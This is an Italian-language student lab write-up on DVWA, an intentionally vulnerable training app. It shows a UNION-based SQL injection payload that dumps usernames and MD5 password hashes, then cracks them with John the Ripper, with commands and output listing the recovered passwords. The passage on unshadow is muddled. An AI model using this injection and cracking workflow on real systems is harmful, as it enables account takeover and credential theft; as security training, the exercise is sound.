

Nell'esercizio di oggi ho crackato le password recuperate dal database SQL di DVWA.

Le password venivano rivelate solo in codice hash.

Vulnerability: SQL Injection

User ID:


```
ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Sono pertanto andato ad aggiungere le accoppiate user/password al file “hashes” (che avevo ottenuto tramite il comando unshadow unendo altri due file, uno contenente una lista delle password più comuni e l'altro gli hashes delle password stesse).

Una volta fatto questo, ho lanciato il comando `john -format=raw-md5 hashes` per crackare le password.

```
File Actions Edit View Help
(kali@kali)~[~/Desktop]
$ john --format=raw-md5 hashes
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

(kali@kali)~[~/Desktop]
$ john --format=raw-md5 hashes
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (admin)
password      (smithy)
abc123        (gordonb)
letmein       (pablo)
Proceeding with incremental:ASCII
charley       (1337)
5g 0:00:00:00 DONE 3/3 (2023-11-02 15:54) 17.24g/s 627803p/s 627803c/s 684313C/s stev
y13..chertsu
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords rel
iably
Session completed.
```

User ID:


```
ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7  
  
ID: 1' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Dopodiché ho usato il comando `--show` per avere uno screen dell'accoppiata user password.

```
(kali㉿kali)-[~/Desktop]
$ john --show --format=raw-md5 hashes
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
```